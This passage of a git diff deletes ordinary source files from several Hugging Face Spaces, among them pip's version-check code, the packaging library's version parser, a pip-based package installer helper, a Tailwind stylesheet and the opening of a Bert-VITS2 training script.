f"[green]{escape(pip_cmd)} install --upgrade pip" - ), - ) - - -def was_installed_by_pip(pkg: str) -> bool: - """Checks whether pkg was installed by pip - - This is used not to display the upgrade message when pip is in fact - installed by system package manager, such as dnf on Fedora. - """ - dist = get_default_environment().get_distribution(pkg) - return dist is not None and "pip" == dist.installer - - -def _get_current_remote_pip_version( - session: PipSession, options: optparse.Values -) -> Optional[str]: - # Lets use PackageFinder to see what the latest pip version is - link_collector = LinkCollector.create( - session, - options=options, - suppress_no_index=True, - ) - - # Pass allow_yanked=False so we don't suggest upgrading to a - # yanked version. - selection_prefs = SelectionPreferences( - allow_yanked=False, - allow_all_prereleases=False, # Explicitly set to False - ) - - finder = PackageFinder.create( - link_collector=link_collector, - selection_prefs=selection_prefs, - ) - best_candidate = finder.find_best_candidate("pip").best_candidate - if best_candidate is None: - return None - - return str(best_candidate.version) - - -def _self_version_check_logic( - *, - state: SelfCheckState, - current_time: datetime.datetime, - local_version: DistributionVersion, - get_remote_version: Callable[[], Optional[str]], -) -> Optional[UpgradePrompt]: - remote_version_str = state.get(current_time) - if remote_version_str is None: - remote_version_str = get_remote_version() - if remote_version_str is None: - logger.debug("No remote pip version found") - return None - state.set(remote_version_str, current_time) - - remote_version = parse_version(remote_version_str) - logger.debug("Remote version of pip: %s", remote_version) - logger.debug("Local version of pip: %s", local_version) - - pip_installed_by_pip = was_installed_by_pip("pip") - logger.debug("Was pip installed by pip? %s", pip_installed_by_pip) - if not pip_installed_by_pip: - return None # Only suggest upgrade if pip is installed by pip. - - local_version_is_older = ( - local_version < remote_version - and local_version.base_version != remote_version.base_version - ) - if local_version_is_older: - return UpgradePrompt(old=str(local_version), new=remote_version_str) - - return None - - -def pip_self_version_check(session: PipSession, options: optparse.Values) -> None: - """Check for an update for pip. - - Limit the frequency of checks to once per week. State is stored either in - the active virtualenv or in the user's USER_CACHE_DIR keyed off the prefix - of the pip script path. - """ - installed_dist = get_default_environment().get_distribution("pip") - if not installed_dist: - return - - try: - upgrade_prompt = _self_version_check_logic( - state=SelfCheckState(cache_dir=options.cache_dir), - current_time=datetime.datetime.utcnow(), - local_version=installed_dist.version, - get_remote_version=functools.partial( - _get_current_remote_pip_version, session, options - ), - ) - if upgrade_prompt is not None: - logger.warning("[present-rich] %s", upgrade_prompt) - except Exception: - logger.warning("There was an error checking the latest version of pip.") - logger.debug("See below for error", exc_info=True) diff --git a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/setuptools/_vendor/packaging/version.py b/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/setuptools/_vendor/packaging/version.py deleted file mode 100644 index b30e8cbf84f2a441ca87aef2ab1a0fed18caeddc..0000000000000000000000000000000000000000 --- a/spaces/TandCAcceptMe/face-swap-docker/mynewshinyroop/Lib/site-packages/setuptools/_vendor/packaging/version.py +++ /dev/null @@ -1,564 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. -""" -.. testsetup:: - - from packaging.version import parse, Version -""" - -import collections -import itertools -import re -from typing import Any, Callable, Optional, SupportsInt, Tuple, Union - -from ._structures import Infinity, InfinityType, NegativeInfinity, NegativeInfinityType - -__all__ = ["VERSION_PATTERN", "parse", "Version", "InvalidVersion"] - -InfiniteTypes = Union[InfinityType, NegativeInfinityType] -PrePostDevType = Union[InfiniteTypes, Tuple[str, int]] -SubLocalType = Union[InfiniteTypes, int, str] -LocalType = Union[ - NegativeInfinityType, - Tuple[ - Union[ - SubLocalType, - Tuple[SubLocalType, str], - Tuple[NegativeInfinityType, SubLocalType], - ], - ..., - ], -] -CmpKey = Tuple[ - int, Tuple[int, ...], PrePostDevType, PrePostDevType, PrePostDevType, LocalType -] -VersionComparisonMethod = Callable[[CmpKey, CmpKey], bool] - -_Version = collections.namedtuple( - "_Version", ["epoch", "release", "dev", "pre", "post", "local"] -) - - -def parse(version: str) -> "Version": - """Parse the given version string. - - >>> parse('1.0.dev1') - - - :param version: The version string to parse. - :raises InvalidVersion: When the version string is not a valid version. - """ - return Version(version) - - -class InvalidVersion(ValueError): - """Raised when a version string is not a valid version. - - >>> Version("invalid") - Traceback (most recent call last): - ... - packaging.version.InvalidVersion: Invalid version: 'invalid' - """ - - -class _BaseVersion: - _key: Tuple[Any, ...] - - def __hash__(self) -> int: - return hash(self._key) - - # Please keep the duplicated `isinstance` check - # in the six comparisons hereunder - # unless you find a way to avoid adding overhead function calls. - def __lt__(self, other: "_BaseVersion") -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key < other._key - - def __le__(self, other: "_BaseVersion") -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key <= other._key - - def __eq__(self, other: object) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key == other._key - - def __ge__(self, other: "_BaseVersion") -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key >= other._key - - def __gt__(self, other: "_BaseVersion") -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key > other._key - - def __ne__(self, other: object) -> bool: - if not isinstance(other, _BaseVersion): - return NotImplemented - - return self._key != other._key - - -# Deliberately not anchored to the start and end of the string, to make it -# easier for 3rd party code to reuse -_VERSION_PATTERN = r""" - v? - (?: - (?:(?P[0-9]+)!)? # epoch - (?P[0-9]+(?:\.[0-9]+)*) # release segment - (?P
                                                # pre-release
-            [-_\.]?
-            (?P(a|b|c|rc|alpha|beta|pre|preview))
-            [-_\.]?
-            (?P[0-9]+)?
-        )?
-        (?P                                         # post release
-            (?:-(?P[0-9]+))
-            |
-            (?:
-                [-_\.]?
-                (?Ppost|rev|r)
-                [-_\.]?
-                (?P[0-9]+)?
-            )
-        )?
-        (?P                                          # dev release
-            [-_\.]?
-            (?Pdev)
-            [-_\.]?
-            (?P[0-9]+)?
-        )?
-    )
-    (?:\+(?P[a-z0-9]+(?:[-_\.][a-z0-9]+)*))?       # local version
-"""
-
-VERSION_PATTERN = _VERSION_PATTERN
-"""
-A string containing the regular expression used to match a valid version.
-
-The pattern is not anchored at either end, and is intended for embedding in larger
-expressions (for example, matching a version number as part of a file name). The
-regular expression should be compiled with the ``re.VERBOSE`` and ``re.IGNORECASE``
-flags set.
-
-:meta hide-value:
-"""
-
-
-class Version(_BaseVersion):
-    """This class abstracts handling of a project's versions.
-
-    A :class:`Version` instance is comparison aware and can be compared and
-    sorted using the standard Python interfaces.
-
-    >>> v1 = Version("1.0a5")
-    >>> v2 = Version("1.0")
-    >>> v1
-    
-    >>> v2
-    
-    >>> v1 < v2
-    True
-    >>> v1 == v2
-    False
-    >>> v1 > v2
-    False
-    >>> v1 >= v2
-    False
-    >>> v1 <= v2
-    True
-    """
-
-    _regex = re.compile(r"^\s*" + VERSION_PATTERN + r"\s*$", re.VERBOSE | re.IGNORECASE)
-    _key: CmpKey
-
-    def __init__(self, version: str) -> None:
-        """Initialize a Version object.
-
-        :param version:
-            The string representation of a version which will be parsed and normalized
-            before use.
-        :raises InvalidVersion:
-            If the ``version`` does not conform to PEP 440 in any way then this
-            exception will be raised.
-        """
-
-        # Validate the version and parse it into pieces
-        match = self._regex.search(version)
-        if not match:
-            raise InvalidVersion(f"Invalid version: '{version}'")
-
-        # Store the parsed out pieces of the version
-        self._version = _Version(
-            epoch=int(match.group("epoch")) if match.group("epoch") else 0,
-            release=tuple(int(i) for i in match.group("release").split(".")),
-            pre=_parse_letter_version(match.group("pre_l"), match.group("pre_n")),
-            post=_parse_letter_version(
-                match.group("post_l"), match.group("post_n1") or match.group("post_n2")
-            ),
-            dev=_parse_letter_version(match.group("dev_l"), match.group("dev_n")),
-            local=_parse_local_version(match.group("local")),
-        )
-
-        # Generate a key which will be used for sorting
-        self._key = _cmpkey(
-            self._version.epoch,
-            self._version.release,
-            self._version.pre,
-            self._version.post,
-            self._version.dev,
-            self._version.local,
-        )
-
-    def __repr__(self) -> str:
-        """A representation of the Version that shows all internal state.
-
-        >>> Version('1.0.0')
-        
-        """
-        return f""
-
-    def __str__(self) -> str:
-        """A string representation of the version that can be rounded-tripped.
-
-        >>> str(Version("1.0a5"))
-        '1.0a5'
-        """
-        parts = []
-
-        # Epoch
-        if self.epoch != 0:
-            parts.append(f"{self.epoch}!")
-
-        # Release segment
-        parts.append(".".join(str(x) for x in self.release))
-
-        # Pre-release
-        if self.pre is not None:
-            parts.append("".join(str(x) for x in self.pre))
-
-        # Post-release
-        if self.post is not None:
-            parts.append(f".post{self.post}")
-
-        # Development release
-        if self.dev is not None:
-            parts.append(f".dev{self.dev}")
-
-        # Local version segment
-        if self.local is not None:
-            parts.append(f"+{self.local}")
-
-        return "".join(parts)
-
-    @property
-    def epoch(self) -> int:
-        """The epoch of the version.
-
-        >>> Version("2.0.0").epoch
-        0
-        >>> Version("1!2.0.0").epoch
-        1
-        """
-        _epoch: int = self._version.epoch
-        return _epoch
-
-    @property
-    def release(self) -> Tuple[int, ...]:
-        """The components of the "release" segment of the version.
-
-        >>> Version("1.2.3").release
-        (1, 2, 3)
-        >>> Version("2.0.0").release
-        (2, 0, 0)
-        >>> Version("1!2.0.0.post0").release
-        (2, 0, 0)
-
-        Includes trailing zeroes but not the epoch or any pre-release / development /
-        post-release suffixes.
-        """
-        _release: Tuple[int, ...] = self._version.release
-        return _release
-
-    @property
-    def pre(self) -> Optional[Tuple[str, int]]:
-        """The pre-release segment of the version.
-
-        >>> print(Version("1.2.3").pre)
-        None
-        >>> Version("1.2.3a1").pre
-        ('a', 1)
-        >>> Version("1.2.3b1").pre
-        ('b', 1)
-        >>> Version("1.2.3rc1").pre
-        ('rc', 1)
-        """
-        _pre: Optional[Tuple[str, int]] = self._version.pre
-        return _pre
-
-    @property
-    def post(self) -> Optional[int]:
-        """The post-release number of the version.
-
-        >>> print(Version("1.2.3").post)
-        None
-        >>> Version("1.2.3.post1").post
-        1
-        """
-        return self._version.post[1] if self._version.post else None
-
-    @property
-    def dev(self) -> Optional[int]:
-        """The development number of the version.
-
-        >>> print(Version("1.2.3").dev)
-        None
-        >>> Version("1.2.3.dev1").dev
-        1
-        """
-        return self._version.dev[1] if self._version.dev else None
-
-    @property
-    def local(self) -> Optional[str]:
-        """The local version segment of the version.
-
-        >>> print(Version("1.2.3").local)
-        None
-        >>> Version("1.2.3+abc").local
-        'abc'
-        """
-        if self._version.local:
-            return ".".join(str(x) for x in self._version.local)
-        else:
-            return None
-
-    @property
-    def public(self) -> str:
-        """The public portion of the version.
-
-        >>> Version("1.2.3").public
-        '1.2.3'
-        >>> Version("1.2.3+abc").public
-        '1.2.3'
-        >>> Version("1.2.3+abc.dev1").public
-        '1.2.3'
-        """
-        return str(self).split("+", 1)[0]
-
-    @property
-    def base_version(self) -> str:
-        """The "base version" of the version.
-
-        >>> Version("1.2.3").base_version
-        '1.2.3'
-        >>> Version("1.2.3+abc").base_version
-        '1.2.3'
-        >>> Version("1!1.2.3+abc.dev1").base_version
-        '1!1.2.3'
-
-        The "base version" is the public version of the project without any pre or post
-        release markers.
-        """
-        parts = []
-
-        # Epoch
-        if self.epoch != 0:
-            parts.append(f"{self.epoch}!")
-
-        # Release segment
-        parts.append(".".join(str(x) for x in self.release))
-
-        return "".join(parts)
-
-    @property
-    def is_prerelease(self) -> bool:
-        """Whether this version is a pre-release.
-
-        >>> Version("1.2.3").is_prerelease
-        False
-        >>> Version("1.2.3a1").is_prerelease
-        True
-        >>> Version("1.2.3b1").is_prerelease
-        True
-        >>> Version("1.2.3rc1").is_prerelease
-        True
-        >>> Version("1.2.3dev1").is_prerelease
-        True
-        """
-        return self.dev is not None or self.pre is not None
-
-    @property
-    def is_postrelease(self) -> bool:
-        """Whether this version is a post-release.
-
-        >>> Version("1.2.3").is_postrelease
-        False
-        >>> Version("1.2.3.post1").is_postrelease
-        True
-        """
-        return self.post is not None
-
-    @property
-    def is_devrelease(self) -> bool:
-        """Whether this version is a development release.
-
-        >>> Version("1.2.3").is_devrelease
-        False
-        >>> Version("1.2.3.dev1").is_devrelease
-        True
-        """
-        return self.dev is not None
-
-    @property
-    def major(self) -> int:
-        """The first item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").major
-        1
-        """
-        return self.release[0] if len(self.release) >= 1 else 0
-
-    @property
-    def minor(self) -> int:
-        """The second item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").minor
-        2
-        >>> Version("1").minor
-        0
-        """
-        return self.release[1] if len(self.release) >= 2 else 0
-
-    @property
-    def micro(self) -> int:
-        """The third item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").micro
-        3
-        >>> Version("1").micro
-        0
-        """
-        return self.release[2] if len(self.release) >= 3 else 0
-
-
-def _parse_letter_version(
-    letter: str, number: Union[str, bytes, SupportsInt]
-) -> Optional[Tuple[str, int]]:
-
-    if letter:
-        # We consider there to be an implicit 0 in a pre-release if there is
-        # not a numeral associated with it.
-        if number is None:
-            number = 0
-
-        # We normalize any letters to their lower case form
-        letter = letter.lower()
-
-        # We consider some words to be alternate spellings of other words and
-        # in those cases we want to normalize the spellings to our preferred
-        # spelling.
-        if letter == "alpha":
-            letter = "a"
-        elif letter == "beta":
-            letter = "b"
-        elif letter in ["c", "pre", "preview"]:
-            letter = "rc"
-        elif letter in ["rev", "r"]:
-            letter = "post"
-
-        return letter, int(number)
-    if not letter and number:
-        # We assume if we are given a number, but we are not given a letter
-        # then this is using the implicit post release syntax (e.g. 1.0-1)
-        letter = "post"
-
-        return letter, int(number)
-
-    return None
-
-
-_local_version_separators = re.compile(r"[\._-]")
-
-
-def _parse_local_version(local: str) -> Optional[LocalType]:
-    """
-    Takes a string like abc.1.twelve and turns it into ("abc", 1, "twelve").
-    """
-    if local is not None:
-        return tuple(
-            part.lower() if not part.isdigit() else int(part)
-            for part in _local_version_separators.split(local)
-        )
-    return None
-
-
-def _cmpkey(
-    epoch: int,
-    release: Tuple[int, ...],
-    pre: Optional[Tuple[str, int]],
-    post: Optional[Tuple[str, int]],
-    dev: Optional[Tuple[str, int]],
-    local: Optional[Tuple[SubLocalType]],
-) -> CmpKey:
-
-    # When we compare a release version, we want to compare it with all of the
-    # trailing zeros removed. So we'll use a reverse the list, drop all the now
-    # leading zeros until we come to something non zero, then take the rest
-    # re-reverse it back into the correct order and make it a tuple and use
-    # that for our sorting key.
-    _release = tuple(
-        reversed(list(itertools.dropwhile(lambda x: x == 0, reversed(release))))
-    )
-
-    # We need to "trick" the sorting algorithm to put 1.0.dev0 before 1.0a0.
-    # We'll do this by abusing the pre segment, but we _only_ want to do this
-    # if there is not a pre or a post segment. If we have one of those then
-    # the normal sorting rules will handle this case correctly.
-    if pre is None and post is None and dev is not None:
-        _pre: PrePostDevType = NegativeInfinity
-    # Versions without a pre-release (except as noted above) should sort after
-    # those with one.
-    elif pre is None:
-        _pre = Infinity
-    else:
-        _pre = pre
-
-    # Versions without a post segment should sort before those with one.
-    if post is None:
-        _post: PrePostDevType = NegativeInfinity
-
-    else:
-        _post = post
-
-    # Versions without a development segment should sort after those with one.
-    if dev is None:
-        _dev: PrePostDevType = Infinity
-
-    else:
-        _dev = dev
-
-    if local is None:
-        # Versions without a local segment should sort before those with one.
-        _local: LocalType = NegativeInfinity
-    else:
-        # Versions with a local segment need that segment parsed to implement
-        # the sorting rules in PEP440.
-        # - Alpha numeric segments sort before numeric segments
-        # - Alpha numeric segments sort lexicographically
-        # - Numeric segments sort numerically
-        # - Shorter versions sort before longer versions when the prefixes
-        #   match exactly
-        _local = tuple(
-            (i, "") if isinstance(i, int) else (NegativeInfinity, i) for i in local
-        )
-
-    return epoch, _release, _pre, _post, _dev, _local
diff --git a/spaces/VietVuiVe/PhanLoaiTraiCay/README.md b/spaces/VietVuiVe/PhanLoaiTraiCay/README.md
deleted file mode 100644
index b7a093c6eae3b13d4ee4426d0215585c6e89ed75..0000000000000000000000000000000000000000
--- a/spaces/VietVuiVe/PhanLoaiTraiCay/README.md
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Fruit Detect
-colorFrom: green
-colorTo: black
-sdk: gradio
-sdk_version: 3.1.4
-app_file: app.py
-pinned: false
-license: mit
----
-
-Phân loại trái cây qua hình ảnh 🍓🍉🍌🥑🍏 dùng EfficientNetB0 feature extractor computer vision model.
-
-DEMO: https://huggingface.co/spaces/VietVuiVe/PhanLoaiTraiCay
diff --git a/spaces/VoiceHero69/changer/setup_tools/magicinstaller/requirement.py b/spaces/VoiceHero69/changer/setup_tools/magicinstaller/requirement.py
deleted file mode 100644
index 9efe10f6b6505b0f5679f14843f8c8a56a57527b..0000000000000000000000000000000000000000
--- a/spaces/VoiceHero69/changer/setup_tools/magicinstaller/requirement.py
+++ /dev/null
@@ -1,153 +0,0 @@
-import re
-import shlex
-import subprocess
-import sys
-import time
-from enum import Enum
-
-from autodebug.autodebug import InstallFailException
-from setup_tools.os import is_windows
-from threading import Thread
-
-
-valid_last: list[tuple[str, str]] = None
-
-
-class CompareAction(Enum):
-    LT = -2
-    LEQ = -1
-    EQ = 0
-    GEQ = 1
-    GT = 2
-
-
-class Requirement:
-    def __init__(self):
-        self.running = False
-
-    def install_or_upgrade_if_needed(self):
-        if not self.is_installed() or not self.is_right_version():
-            self.post_install(self.install())
-
-
-    def post_install(self, install_output: tuple[int, str, str]):
-        exit_code, stdout, stderr = install_output
-        if exit_code != 0:
-            raise InstallFailException(exit_code, stdout, stderr)
-
-    def is_right_version(self):
-        raise NotImplementedError('Not implemented')
-
-    def is_installed(self):
-        raise NotImplementedError('Not implemented')
-
-    def install_check(self, package_name: str) -> bool:
-        return self.get_package_version(package_name) is not False
-
-    @staticmethod
-    def loading_thread(status_dict, name):
-        idx = 0
-        load_symbols = ['|', '/', '-', '\\']
-        while status_dict['running']:
-            curr_symbol = load_symbols[idx % len(load_symbols)]
-            idx += 1
-            print(f'\rInstalling {name} {curr_symbol}', end='')
-            time.sleep(0.25)
-        print(f'\rInstalled {name}!             ' if status_dict['success'] else f'\rFailed to install {name}. Check AutoDebug output.')
-
-    def install_pip(self, command, name=None) -> tuple[int, str, str]:
-        global valid_last
-        valid_last = None
-        if not name:
-            name = command
-        status_dict = {
-            'running': True
-        }
-        thread = Thread(target=self.loading_thread, args=[status_dict, name], daemon=True)
-        thread.start()
-        args = f'"{sys.executable}" -m pip install --upgrade {command}'
-        args = args if self.is_windows() else shlex.split(args)
-        result = subprocess.run(args, capture_output=True, text=True)
-        status_dict['success'] = result.returncode == 0
-        status_dict['running'] = False
-        while thread.is_alive():
-            time.sleep(0.1)
-        return result.returncode, result.stdout, result.stderr
-
-    def is_windows(self) -> bool:
-        return is_windows()
-
-    def install(self) -> tuple[int, str, str]:
-        raise NotImplementedError('Not implemented')
-
-    def pip_freeze(self) -> list[tuple[str, str]]:
-        global valid_last
-        if valid_last:
-            return valid_last
-        args = f'"{sys.executable}" -m pip freeze'
-        args = args if self.is_windows() else shlex.split(args)
-        result = subprocess.run(args, capture_output=True, text=True)
-        test_str = result.stdout
-        out_list = []
-        matches = re.finditer('^(.*)(?:==| @ )(.+)$', test_str, re.MULTILINE)
-        for match in matches:
-            out_list.append((match.group(1), match.group(2)))
-
-        valid_last = out_list
-        return out_list
-
-
-    def get_package_version(self, name: str, freeze: dict[tuple[str, str]] | None = None) -> bool | str:
-        if freeze is None:
-            freeze = self.pip_freeze()
-        for p_name, version in freeze:
-            if name.casefold() == p_name.casefold():
-                return version
-        return False
-
-
-class SimpleRequirement(Requirement):
-    package_name: str
-
-    def is_right_version(self):
-        return True
-
-    def is_installed(self):
-        return self.install_check(self.package_name)
-
-    def install(self) -> tuple[int, str, str]:
-        return self.install_pip(self.package_name)
-
-
-class SimpleRequirementInit(SimpleRequirement):
-    def __init__(self, package_name, compare: CompareAction = None, version: str = None):
-        super().__init__()
-        self.package_name = package_name
-        self.compare = compare
-        self.version = version
-
-    def is_right_version(self):
-        if self.compare is None or self.version is None:
-            return True
-        from packaging import version
-        version_obj = version.parse(self.get_package_version(self.package_name))
-        version_target_obj = version.parse(self.version)
-        match self.compare:
-            case CompareAction.LT:
-                return version_obj < version_target_obj
-            case CompareAction.LEQ:
-                return version_obj <= version_target_obj
-            case CompareAction.EQ:
-                return version_obj == version_target_obj
-            case CompareAction.GEQ:
-                return version_obj >= version_target_obj
-            case CompareAction.GT:
-                return version_obj > version_target_obj
-
-            case _:
-                return True
-
-    def install(self) -> tuple[int, str, str]:
-        if self.version is None:
-            return self.install_pip(self.package_name)
-        return self.install_pip(f'{self.package_name}=={self.version}', self.package_name)
diff --git a/spaces/WindVChen/INR-Harmon/model/__init__.py b/spaces/WindVChen/INR-Harmon/model/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/spaces/Xenova/doodle-dash/assets/index-011c100b.css b/spaces/Xenova/doodle-dash/assets/index-011c100b.css
deleted file mode 100644
index 533abd1d752fdcbd0756beef74e7c6281f834e01..0000000000000000000000000000000000000000
--- a/spaces/Xenova/doodle-dash/assets/index-011c100b.css
+++ /dev/null
@@ -1 +0,0 @@
-#root{display:flex;justify-content:center;position:relative}*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,"Apple Color Emoji","Segoe UI Emoji",Segoe UI Symbol,"Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;font-weight:inherit;line-height:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]{display:none}*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: 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diff --git a/spaces/XzJosh/Ava2-Bert-VITS2/train_ms.py b/spaces/XzJosh/Ava2-Bert-VITS2/train_ms.py
deleted file mode 100644
index 5d109003d40497ea4493e7c73f47c1eb7370a81e..0000000000000000000000000000000000000000
--- a/spaces/XzJosh/Ava2-Bert-VITS2/train_ms.py
+++ /dev/null
@@ -1,402 +0,0 @@
-import os
-import json
-import argparse
-import itertools
-import math
-import torch
-import shutil
-from torch import nn, optim
-from torch.nn import functional as F
-from torch.utils.data import DataLoader
-from torch.utils.tensorboard import SummaryWriter
-import torch.multiprocessing as mp
-import torch.distributed as dist
-from torch.nn.parallel import DistributedDataParallel as DDP
-from torch.cuda.amp import autocast, GradScaler
-from tqdm import tqdm
-import logging
-logging.getLogger('numba').setLevel(logging.WARNING)
-import commons
-import utils
-from data_utils import (
-    TextAudioSpeakerLoader,
-    TextAudioSpeakerCollate,
-    DistributedBucketSampler
-)
-from models import (
-    SynthesizerTrn,
-    MultiPeriodDiscriminator,
-    DurationDiscriminator,
-)
-from losses import (
-    generator_loss,
-    discriminator_loss,
-    feature_loss,
-    kl_loss
-)
-from mel_processing import mel_spectrogram_torch, spec_to_mel_torch
-from text.symbols import symbols
-
-torch.backends.cudnn.benchmark = True
-torch.backends.cuda.matmul.allow_tf32 = True
-torch.backends.cudnn.allow_tf32 = True
-torch.set_float32_matmul_precision('medium')
-global_step = 0
-
-
-def main():
-    """Assume Single Node Multi GPUs Training Only"""
-    assert torch.cuda.is_available(), "CPU training is not allowed."
-
-    n_gpus = torch.cuda.device_count()
-    os.environ['MASTER_ADDR'] = 'localhost'
-    os.environ['MASTER_PORT'] = '65280'
-
-    hps = utils.get_hparams()
-    if not hps.cont:
-           shutil.copy('./pretrained_models/D_0.pth','./logs/OUTPUT_MODEL/D_0.pth')
-           shutil.copy('./pretrained_models/G_0.pth','./logs/OUTPUT_MODEL/G_0.pth')
-           shutil.copy('./pretrained_models/DUR_0.pth','./logs/OUTPUT_MODEL/DUR_0.pth')
-    mp.spawn(run, nprocs=n_gpus, args=(n_gpus, hps,))
-
-
-def run(rank, n_gpus, hps):
-    global global_step
-    if rank == 0:
-        logger = utils.get_logger(hps.model_dir)
-        logger.info(hps)
-        utils.check_git_hash(hps.model_dir)
-        writer = SummaryWriter(log_dir=hps.model_dir)
-        writer_eval = SummaryWriter(log_dir=os.path.join(hps.model_dir, "eval"))
-
-    dist.init_process_group(backend=  'gloo' if os.name == 'nt' else 'nccl', init_method='env://', world_size=n_gpus, rank=rank)
-    torch.manual_seed(hps.train.seed)
-    torch.cuda.set_device(rank)
-
-    train_dataset = TextAudioSpeakerLoader(hps.data.training_files, hps.data)
-    train_sampler = DistributedBucketSampler(
-        train_dataset,
-        hps.train.batch_size,
-        [32, 300, 400, 500, 600, 700, 800, 900, 1000],
-        num_replicas=n_gpus,
-        rank=rank,
-        shuffle=True)
-    collate_fn = TextAudioSpeakerCollate()
-    train_loader = DataLoader(train_dataset, num_workers=2, shuffle=False, pin_memory=True,
-                              collate_fn=collate_fn, batch_sampler=train_sampler)
-    if rank == 0:
-        eval_dataset = TextAudioSpeakerLoader(hps.data.validation_files, hps.data)
-        eval_loader = DataLoader(eval_dataset, num_workers=0, shuffle=False,
-                                 batch_size=1, pin_memory=True,
-                                 drop_last=False, collate_fn=collate_fn)
-    if "use_noise_scaled_mas" in hps.model.keys() and hps.model.use_noise_scaled_mas == True:
-        print("Using noise scaled MAS for VITS2")
-        use_noise_scaled_mas = True
-        mas_noise_scale_initial = 0.01
-        noise_scale_delta = 2e-6
-    else:
-        print("Using normal MAS for VITS1")
-        use_noise_scaled_mas = False
-        mas_noise_scale_initial = 0.0
-        noise_scale_delta = 0.0
-    if "use_duration_discriminator" in hps.model.keys() and hps.model.use_duration_discriminator == True:
